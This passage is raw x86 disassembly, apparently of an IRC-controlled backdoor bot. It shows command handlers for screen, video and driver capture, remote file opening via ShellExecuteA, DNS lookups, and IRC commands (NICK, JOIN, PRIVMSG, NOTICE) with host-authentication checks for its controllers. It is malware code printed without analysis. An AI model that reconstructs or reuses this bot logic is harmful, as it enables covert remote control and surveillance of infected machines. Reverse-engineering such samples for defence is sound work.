pop ecx jz loc_4097B8 mov esi, [ebp+esi-88h] cmp esi, ebx jz loc_408CF1 push esi push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408CD9 push esi lea eax, [ebp-2C0h] push dword ptr [ebp-88h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_430D60 push eax call sub_41BF36 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41BCA0 push esi lea eax, [ebp-2C0h] push dword ptr [ebp+18h] push offset unk_430AE4 push eax call sub_41BF36 add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_4090AA ; --------------------------------------------------------------------------- loc_408CD9: ; CODE XREF: .nsp0:00408C7Fj lea eax, [ebp-2C0h] push offset unk_430AB4 push eax call sub_41BF36 pop ecx pop ecx jmp loc_4090AA ; --------------------------------------------------------------------------- loc_408CF1: ; CODE XREF: .nsp0:00408C6Aj push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41B598 add esp, 0Ch push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset dword_430A98 push 200h push eax call sub_41C030 add esp, 24h jmp loc_4090AA ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: .nsp0:00406205j ; .nsp0:0040621Aj push offset aScreen ; "screen" push dword ptr [ebp+18h] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_408D95 mov edi, [ebp+esi-88h] cmp edi, ebx jz short loc_408D82 push edi call loc_4159B6 cmp eax, 1 pop ecx jnz short loc_408D7B push edi lea eax, [ebp-2C0h] push offset unk_430A64 push eax call sub_41BF36 add esp, 0Ch jmp short loc_408D95 ; --------------------------------------------------------------------------- loc_408D7B: ; CODE XREF: .nsp0:00408D62j push offset unk_430A34 jmp short loc_408D87 ; --------------------------------------------------------------------------- loc_408D82: ; CODE XREF: .nsp0:00408D56j push offset unk_4309F8 loc_408D87: ; CODE XREF: .nsp0:00408D80j lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx loc_408D95: ; CODE XREF: .nsp0:00408D4Bj ; .nsp0:00408D79j push offset aDrivers ; "drivers" push dword ptr [ebp+18h] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_408E22 xor edi, edi loc_408DAA: ; CODE XREF: .nsp0:00408E0Dj lea eax, [ebp-53F8h] push 1FFh push eax lea eax, [ebp-4EF0h] push 0FFh push eax push edi call dword_4D1220 test eax, eax jz short loc_408E09 lea eax, [ebp-53F8h] push eax lea eax, [ebp-4EF0h] push eax push edi lea eax, [ebp-5D88h] push offset unk_4309C8 push eax call sub_41BF36 push ebx lea eax, [ebp-5D88h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 28h loc_408E09: ; CODE XREF: .nsp0:00408DCBj inc edi cmp edi, 0Ah jl short loc_408DAA lea eax, [ebp-2C0h] push offset unk_4309A0 push eax call sub_41BF36 pop ecx pop ecx loc_408E22: ; CODE XREF: .nsp0:00408DA6j push offset aFrame ; "frame" push dword ptr [ebp+18h] call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_408EC3 cmp [ebp+esi-88h], ebx jz short loc_408EB0 cmp [ebp+esi-84h], ebx jz short loc_408EB0 mov edi, [ebp+esi-80h] cmp edi, ebx jz short loc_408EB0 mov eax, [ebp+esi-7Ch] cmp eax, ebx jz short loc_408EB0 push eax call sub_41BE29 pop ecx push eax push edi call sub_41BE29 pop ecx push eax push dword ptr [ebp+esi-84h] call sub_41BE29 pop ecx push eax push dword ptr [ebp+esi-88h] call sub_415BF1 add esp, 10h test eax, eax jnz short loc_408EA9 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset unk_43096C push eax call sub_41BF36 add esp, 0Ch jmp short loc_408EC3 ; --------------------------------------------------------------------------- loc_408EA9: ; CODE XREF: .nsp0:00408E8Aj push offset unk_430938 jmp short loc_408EB5 ; --------------------------------------------------------------------------- loc_408EB0: ; CODE XREF: .nsp0:00408E40j ; .nsp0:00408E49j ... push offset unk_430900 loc_408EB5: ; CODE XREF: .nsp0:00408EAEj lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx loc_408EC3: ; CODE XREF: .nsp0:00408E33j ; .nsp0:00408EA7j push offset aVideo ; "video" push dword ptr [ebp+18h] call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_409089 mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+28h], eax jz short loc_408F5B mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+8], eax jz short loc_408F5B mov eax, [ebp+esi-80h] cmp eax, ebx mov [ebp+20h], eax jz short loc_408F5B mov edi, [ebp+esi-7Ch] cmp edi, ebx jz short loc_408F5B mov esi, [ebp+esi-78h] cmp esi, ebx jz short loc_408F5B push esi call sub_41BE29 pop ecx push eax push edi call sub_41BE29 pop ecx push eax push dword ptr [ebp+20h] call sub_41BE29 pop ecx push eax push dword ptr [ebp+8] call sub_41BE29 pop ecx push eax push dword ptr [ebp+28h] call sub_415DEA add esp, 14h test eax, eax jnz short loc_408F51 push dword ptr [ebp+28h] push offset unk_4308D4 jmp loc_4086BF ; --------------------------------------------------------------------------- loc_408F51: ; CODE XREF: .nsp0:00408F42j push offset unk_430894 jmp loc_40907B ; --------------------------------------------------------------------------- loc_408F5B: ; CODE XREF: .nsp0:00408EE6j ; .nsp0:00408EF4j ... push offset unk_430854 jmp loc_40907B ; --------------------------------------------------------------------------- loc_408F65: ; CODE XREF: .nsp0:00405B26j ; .nsp0:00405B3Bj push offset aR ; "r" push dword ptr [ebp+18h] call sub_41BBB8 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_408FE3 mov esi, 200h push edi lea eax, [ebp-2C0h] push esi push eax call sub_41C1FF add esp, 0Ch loc_408F90: ; CODE XREF: .nsp0:00408FBFj test eax, eax jz short loc_408FC1 push 1 lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push edi lea eax, [ebp-2C0h] push esi push eax call sub_41C1FF add esp, 20h jmp short loc_408F90 ; --------------------------------------------------------------------------- loc_408FC1: ; CODE XREF: .nsp0:00408F92j push edi call sub_41B90B push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_430830 push eax call sub_41BF36 add esp, 10h jmp loc_406C86 ; --------------------------------------------------------------------------- loc_408FE3: ; CODE XREF: .nsp0:00408F78j push dword ptr [ebp+18h] push offset unk_43080C jmp loc_406C56 ; --------------------------------------------------------------------------- loc_408FF0: ; CODE XREF: .nsp0:00405AFCj ; .nsp0:00405B11j cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4097B8 push offset asc_430808 ; "\n" push esi call sub_41C560 push esi call sub_41A2D9 add esp, 0Ch test eax, eax jnz short loc_40902F push offset unk_4307DC jmp short loc_40907B ; --------------------------------------------------------------------------- loc_40902F: ; CODE XREF: .nsp0:00409026j push esi lea eax, [ebp-2C0h] push offset dword_4307C4 push eax call sub_41BF36 add esp, 0Ch jmp short loc_4090AA ; --------------------------------------------------------------------------- loc_409046: ; CODE XREF: .nsp0:00405AD2j ; .nsp0:00405AE7j cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz loc_4097B8 push eax call sub_4189BD test eax, eax pop ecx jnz short loc_409076 push offset unk_4307A4 jmp short loc_40907B ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: .nsp0:0040906Dj push offset dword_430788 loc_40907B: ; CODE XREF: .nsp0:00408F56j ; .nsp0:00408F60j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx loc_409089: ; CODE XREF: .nsp0:004086CEj ; .nsp0:00408ED4j cmp [ebp-8], ebx jnz short loc_4090AA push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_4090AA: ; CODE XREF: .nsp0:00408CD4j ; .nsp0:00408CECj ... lea eax, [ebp-2C0h] push eax call sub_4157A6 pop ecx jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_4090BC: ; CODE XREF: .nsp0:00405AA8j ; .nsp0:00405ABDj push 7Fh lea eax, [ebp-2080h] push dword ptr [ebp+18h] push eax call sub_41BCA0 mov esi, [ebp+esi-88h] add esp, 0Ch cmp esi, ebx jz short loc_4090ED push 7Fh lea eax, [ebp-2000h] push esi push eax call sub_41BCA0 add esp, 0Ch loc_4090ED: ; CODE XREF: .nsp0:004090D9j push 7Fh lea eax, [ebp-1F80h] push dword ptr [ebp-88h] push eax call sub_41BCA0 mov eax, [ebp+0Ch] push dword ptr [ebp+18h] mov [ebp-2084h], eax mov eax, [ebp-8] mov [ebp-1EFCh], eax mov eax, [ebp-4] mov [ebp-1EF8h], eax lea eax, [ebp-2C0h] push offset dword_430770 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 1Ch push eax call sub_40B00E add esp, 24h mov [ebp-1F00h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2084h] push ebx push eax push offset sub_41B65E push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1F00h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40918D loc_409177: ; CODE XREF: .nsp0:0040918Bj cmp [ebp-1EF4h], ebx jnz loc_406C86 push 32h call dword_427064 ; Sleep jmp short loc_409177 ; --------------------------------------------------------------------------- loc_40918D: ; CODE XREF: .nsp0:00409175j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_430730 loc_409199: ; CODE XREF: .nsp0:0040449Bj lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch jmp loc_406C86 ; --------------------------------------------------------------------------- loc_4091AD: ; CODE XREF: .nsp0:00405A7Ej ; .nsp0:00405A93j push ebx push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] push dword ptr [ebp+18h] call sub_41011E push dword ptr [ebp+18h] push offset dword_430718 jmp loc_40898A ; --------------------------------------------------------------------------- loc_4091CC: ; CODE XREF: .nsp0:00405A54j ; .nsp0:00405A69j push 14h lea eax, [ebp-1D48h] push ebx push eax call sub_41BC40 push dword ptr [ebp+18h] lea eax, [ebp-1D34h] push offset aS_2 ; "%s" push eax call sub_41BF36 mov eax, [ebp+0Ch] mov [ebp-1D50h], eax lea eax, [ebp-0C0h] push eax lea eax, [ebp-1C30h] push 80h push eax call sub_41C030 mov eax, [ebp-4] mov [ebp-1BA8h], eax mov eax, [ebp-8] mov [ebp-1BA4h], eax lea eax, [ebp-1C30h] push eax lea eax, [ebp-1D34h] push eax lea eax, [ebp-2C0h] push offset unk_4306F4 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 1Ah push eax call sub_40B00E add esp, 40h mov [ebp-1BACh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1D50h] push ebx push eax push offset loc_416425 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1BACh] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40929E loc_409288: ; CODE XREF: .nsp0:0040929Cj cmp [ebp-1BA0h], ebx jnz loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_409288 ; --------------------------------------------------------------------------- loc_40929E: ; CODE XREF: .nsp0:004022D7j ; .nsp0:00409286j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4306B8 jmp loc_40832D ; --------------------------------------------------------------------------- loc_4092AF: ; CODE XREF: .nsp0:00405A2Aj ; .nsp0:00405A3Fj push dword ptr [ebp+18h] call near ptr 0B40000h inc edx test eax, eax jz short loc_4092C6 push dword ptr [ebp+18h] push offset dword_43069C jmp short loc_4092D1 ; --------------------------------------------------------------------------- loc_4092C6: ; CODE XREF: .nsp0:004092BAj push offset dword_430ED8 call sub_4188F8 push eax loc_4092D1: ; CODE XREF: .nsp0:004092C4j lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 jmp loc_4093B4 ; --------------------------------------------------------------------------- loc_4092E7: ; CODE XREF: .nsp0:00405A00j ; .nsp0:00405A15j push dword ptr [ebp+18h] call sub_41BE29 push eax call sub_41A252 pop ecx pop ecx push 1 pop esi push dword ptr [ebp+18h] cmp eax, esi jnz short loc_409308 push offset unk_430678 jmp short loc_40930D ; --------------------------------------------------------------------------- loc_409308: ; CODE XREF: .nsp0:004092FFj push offset unk_430648 loc_40930D: ; CODE XREF: .nsp0:00409306j lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch cmp [ebp-8], ebx jnz loc_406C89 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h jmp loc_406C89 ; --------------------------------------------------------------------------- loc_409346: ; CODE XREF: .nsp0:004059D6j ; .nsp0:004059EBj push ebx push ebx push dword ptr [ebp+18h] push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call sub_419F45 add esp, 18h cmp eax, 1 push dword ptr [ebp+18h] jnz short loc_40936C push offset unk_430628 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_40936C: ; CODE XREF: .nsp0:00409360j push offset unk_4305F8 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_409376: ; CODE XREF: .nsp0:004059ACj ; .nsp0:004059C1j mov esi, [ebp+18h] push esi call dword_4D1230 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-2D4h], eax jz short loc_4093BC push 2 lea eax, [ebp-2D4h] push 4 push eax call dword_4D11A8 ; gethostbyaddr cmp eax, ebx jz short loc_4093D7 push dword ptr [eax] loc_4093A2: ; CODE XREF: .nsp0:004093D5j push esi lea eax, [ebp-2C0h] push offset unk_4305D8 push eax call sub_41BF36 loc_4093B4: ; CODE XREF: .nsp0:004092E2j add esp, 10h jmp loc_406C65 ; --------------------------------------------------------------------------- loc_4093BC: ; CODE XREF: .nsp0:00409389j push esi call dword_4D1274 ; gethostbyname cmp eax, ebx jz short loc_4093D7 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4D127C ; inet_ntoa push eax jmp short loc_4093A2 ; --------------------------------------------------------------------------- loc_4093D7: ; CODE XREF: .nsp0:0040939Ej ; .nsp0:004093C5j push offset unk_4305B0 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4093E1: ; CODE XREF: .nsp0:00405982j ; .nsp0:00405997j push 7Fh push dword ptr [ebp+18h] push dword ptr [ebp+1Ch] call sub_41BCA0 push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_430588 push eax call sub_41BF36 add esp, 18h jmp loc_40820E ; --------------------------------------------------------------------------- loc_40940A: ; CODE XREF: .nsp0:00405958j ; .nsp0:0040596Dj push 5 push ebx push ebx push dword ptr [ebp+18h] push offset aOpen ; "open" push ebx call dword_4D115C ; ShellExecuteA push dword ptr [ebp+18h] test eax, eax jz short loc_40942E push offset unk_430568 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_40942E: ; CODE XREF: .nsp0:00409422j push offset unk_430544 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_409438: ; CODE XREF: .nsp0:0040592Ej ; .nsp0:00405943j mov eax, [ebp+18h] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_43051C jmp loc_406E7B ; --------------------------------------------------------------------------- loc_409451: ; CODE XREF: .nsp0:00405904j ; .nsp0:00405919j push dword ptr [ebp+18h] call sub_41BE29 test eax, eax pop ecx jle loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40AFA5 push eax lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 add esp, 1Ch jmp loc_4088D6 ; --------------------------------------------------------------------------- loc_4094A0: ; CODE XREF: .nsp0:004058DAj ; .nsp0:004058EFj mov esi, [ebp+18h] push esi call sub_41BE29 test eax, eax pop ecx jle loc_401D6C push esi call sub_41BE29 cmp eax, 400h pop ecx jge loc_401D6C push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_40998C pop ecx pop ecx push 1F4h call dword_427064 ; Sleep push esi call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call dword_4D1288 ; closesocket push dword ptr [ebp-10h] push esi call sub_41BE29 imul eax, 234h pop ecx push dword_444134[eax] call near ptr 0B40000h in al, dx push esi call sub_41BE29 imul eax, 234h push esi mov dword_444134[eax], ebx call sub_41BE29 imul eax, 234h pop ecx pop ecx mov byte ptr dword_443F20[eax], bl jmp loc_401D6C ; --------------------------------------------------------------------------- loc_40954E: ; CODE XREF: .nsp0:004058B0j ; .nsp0:004058C5j push dword ptr [ebp+18h] push offset aAll ; "all" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4095BA call sub_40B1D7 cmp eax, ebx jle short loc_409575 push eax push offset unk_4304F0 jmp loc_4072A9 ; --------------------------------------------------------------------------- loc_409575: ; CODE XREF: .nsp0:00409568j push offset unk_4304C8 loc_40957A: ; CODE XREF: .nsp0:00403FC1j ; .nsp0:00403FE0j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx loc_409588: ; CODE XREF: .nsp0:004072B8j ; .nsp0:00408C2Dj cmp [ebp-8], ebx jnz short loc_4095A9 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] loc_4095A1: ; CODE XREF: .nsp0:004087C6j call sub_4099D2 add esp, 14h loc_4095A9: ; CODE XREF: .nsp0:004041C6j ; .nsp0:004041F1j ... lea eax, [ebp-2C0h] push eax call sub_4157A6 jmp loc_4020BB ; --------------------------------------------------------------------------- loc_4095BA: ; CODE XREF: .nsp0:0040955Fj mov eax, [ebp-0A8h] lea edi, [eax+1] cmp edi, 20h jnb loc_401D6C lea eax, [ebp+edi*4-90h] mov [ebp+2Ch], eax loc_4095D6: ; CODE XREF: .nsp0:00409647j mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_401D6C push esi call sub_41BE29 push eax call sub_40B149 pop ecx pop ecx test eax, eax push esi jz short loc_4095FD push offset unk_4304A4 jmp short loc_409602 ; --------------------------------------------------------------------------- loc_4095FD: ; CODE XREF: .nsp0:004095F4j push offset unk_430478 loc_409602: ; CODE XREF: .nsp0:004095FBj lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_409632 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_409632: ; CODE XREF: .nsp0:00409614j lea eax, [ebp-2C0h] push eax call sub_4157A6 add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_4095D6 jmp loc_401D6C ; --------------------------------------------------------------------------- loc_40964E: ; CODE XREF: .nsp0:00405886j ; .nsp0:0040589Bj cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4097B8 push esi push offset dword_430C18 push dword ptr [ebp+0Ch] call sub_40998C push esi push offset dword_43045C jmp loc_408AB7 ; --------------------------------------------------------------------------- loc_409687: ; CODE XREF: .nsp0:0040585Cj ; .nsp0:00405871j push dword ptr [ebp+18h] push offset dword_430B7C push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] push offset unk_430438 jmp loc_408AB7 ; --------------------------------------------------------------------------- loc_4096A4: ; CODE XREF: .nsp0:00405832j ; .nsp0:00405847j push dword ptr [ebp+esi-88h] push dword ptr [ebp+18h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] push offset unk_430414 jmp loc_40898A ; --------------------------------------------------------------------------- loc_4096C8: ; CODE XREF: .nsp0:00405808j ; .nsp0:0040581Dj push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] push offset unk_4303F0 jmp loc_408AB7 ; --------------------------------------------------------------------------- loc_4096E5: ; CODE XREF: .nsp0:00404C73j ; .nsp0:00404C88j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_4303CC push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_4157A6 push dword ptr [ebp+18h] call sub_41BE29 add esp, 1Ch loc_40971D: ; CODE XREF: .nsp0:00409769j push eax call dword_427064 ; Sleep loc_409724: ; CODE XREF: .nsp0:00404599j xor eax, eax jmp loc_401D6F ; --------------------------------------------------------------------------- loc_40972B: ; CODE XREF: .nsp0:00404C49j ; .nsp0:00404C5Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_4303A4 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_4157A6 push dword ptr [ebp+18h] call sub_41BE29 add esp, 1Ch imul eax, 3E8h jmp short loc_40971D ; --------------------------------------------------------------------------- loc_40976B: ; CODE XREF: .nsp0:004029B7j ; .nsp0:004029CCj push dword ptr [ebp+esi-8Ch] xor eax, eax cmp [ebp-8F0h], bl setnz al push eax lea eax, [ebp-338h] push dword_42909C push eax call sub_40AFA5 lea eax, [ebp-338h] push eax push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C lea eax, [ebp-338h] push eax push offset unk_430380 call sub_41581A loc_4097B5: ; CODE XREF: .nsp0:00406CF0j add esp, 24h loc_4097B8: ; CODE XREF: .nsp0:00402161j ; .nsp0:0040216Dj ... mov eax, [ebp+2Ch] jmp loc_401D6F ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: .nsp0:004025A2j ; .nsp0:004025B7j mov esi, [ebp+esi-8Ch] cmp esi, ebx mov [ebp+18h], esi jz loc_401D6C cmp [ebp-0A4h], ebx jnz loc_401D6C push offset dword_42C2D0 push dword ptr [ebp-90h] call sub_41C794 mov esi, eax push offset dword_4D10A8 push ebx inc esi call sub_41C794 push offset asc_43037C ; "~" push eax call sub_41C794 push dword ptr [ebp+18h] mov edi, eax push offset aHi ; "hi" call sub_41C710 add esp, 20h test eax, eax jz short loc_409868 lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40998C lea eax, [ebp-0C0h] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_40998C push edi push esi push offset unk_4302FC loc_409854: ; CODE XREF: .nsp0:004098C4j lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 30h jmp loc_40833C ; --------------------------------------------------------------------------- loc_409868: ; CODE XREF: .nsp0:0040981Bj mov dword ptr [ebp+2Ch], offset off_429148 loc_40986F: ; CODE XREF: .nsp0:0040988Bj mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_40B367 pop ecx test eax, eax pop ecx jnz short loc_4098C6 add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_42914C jl short loc_40986F lea eax, [ebp-0C0h] push edi push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40998C lea eax, [ebp-0C0h] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push dword ptr [ebp+0Ch] call sub_40998C push edi push esi push offset unk_4302A8 jmp short loc_409854 ; --------------------------------------------------------------------------- loc_4098C6: ; CODE XREF: .nsp0:0040987Ej mov edi, [ebp+20h] xor esi, esi loc_4098CB: ; CODE XREF: .nsp0:004098F5j cmp [ebp+18h], ebx jz loc_401D6C cmp [edi], bl jnz short loc_4098EB push dword ptr [ebp+18h] push offset aHi ; "hi" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_4098FC loc_4098EB: ; CODE XREF: .nsp0:004098D6j inc esi add edi, 80h cmp esi, 1 jl short loc_4098CB jmp loc_401D6C ; --------------------------------------------------------------------------- loc_4098FC: ; CODE XREF: .nsp0:004098E9j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0E00h] push 7Fh push eax push esi call sub_41BCA0 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_409933 push ebx push dword ptr [ebp-4] push offset unk_430288 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_409933: ; CODE XREF: .nsp0:00409917j lea eax, [ebp-0C0h] push eax push offset unk_430268 jmp loc_4020B5 ; --------------------------------------------------------------------------- loc_409944: ; CODE XREF: .nsp0:00401D83j ; .nsp0:00401D98j push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push offset aI_0 ; "+i" push dword ptr [ebp+18h] push offset aModeSS_0 ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C add esp, 2Ch push 1 pop eax mov dword_4D10A0, eax jmp loc_401D6F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40998C proc near ; CODE XREF: sub_401A09+30p ; .nsp0:00401D47p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C830 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D1240 ; send leave retn sub_40998C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099D2 proc near ; CODE XREF: .nsp0:0040201Ep ; .nsp0:00402E6Cp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_4099ED mov edi, offset aPrivmsg ; "PRIVMSG" loc_4099ED: ; CODE XREF: sub_4099D2+14j push edi call sub_41B890 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B890 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_2 ; "%s" push esi push eax call sub_41C030 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41BF36 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D1240 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409A6B push 7D0h call dword_427064 ; Sleep locret_409A6B: ; CODE XREF: sub_4099D2+8Cj leave retn sub_4099D2 endp ; =============== S U B R O U T I N E ======================================= sub_409A6D proc near ; CODE XREF: .nsp0:004012A0p push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; dword_42709C mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409B8D push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_4270BC push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4D129C, eax call esi ; dword_4270BC push offset aProcess32first ; "Process32First" push edi mov dword_4D1210, eax call esi ; dword_4270BC push offset aProcess32next ; "Process32Next" push edi mov dword_4D11F4, eax call esi ; dword_4270BC push offset aModule32first ; "Module32First" push edi mov dword_4D1104, eax call esi ; dword_4270BC push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4D10B0, eax call esi ; dword_4270BC push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4D10E0, eax call esi ; dword_4270BC push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4D1158, eax call esi ; dword_4270BC push offset aSearchpatha ; "SearchPathA" push edi mov dword_4D1250, eax call esi ; dword_4270BC push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4D12AC, eax call esi ; dword_4270BC push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4D1110, eax call esi ; dword_4270BC cmp dword_4D129C, ebx mov dword_4D10F8, eax jz short loc_409B6B cmp dword_4D1210, ebx jz short loc_409B6B cmp dword_4D11F4, ebx jz short loc_409B6B cmp dword_4D1104, ebx jz short loc_409B6B cmp dword_4D10E0, ebx jz short loc_409B6B cmp dword_4D1158, ebx jz short loc_409B6B 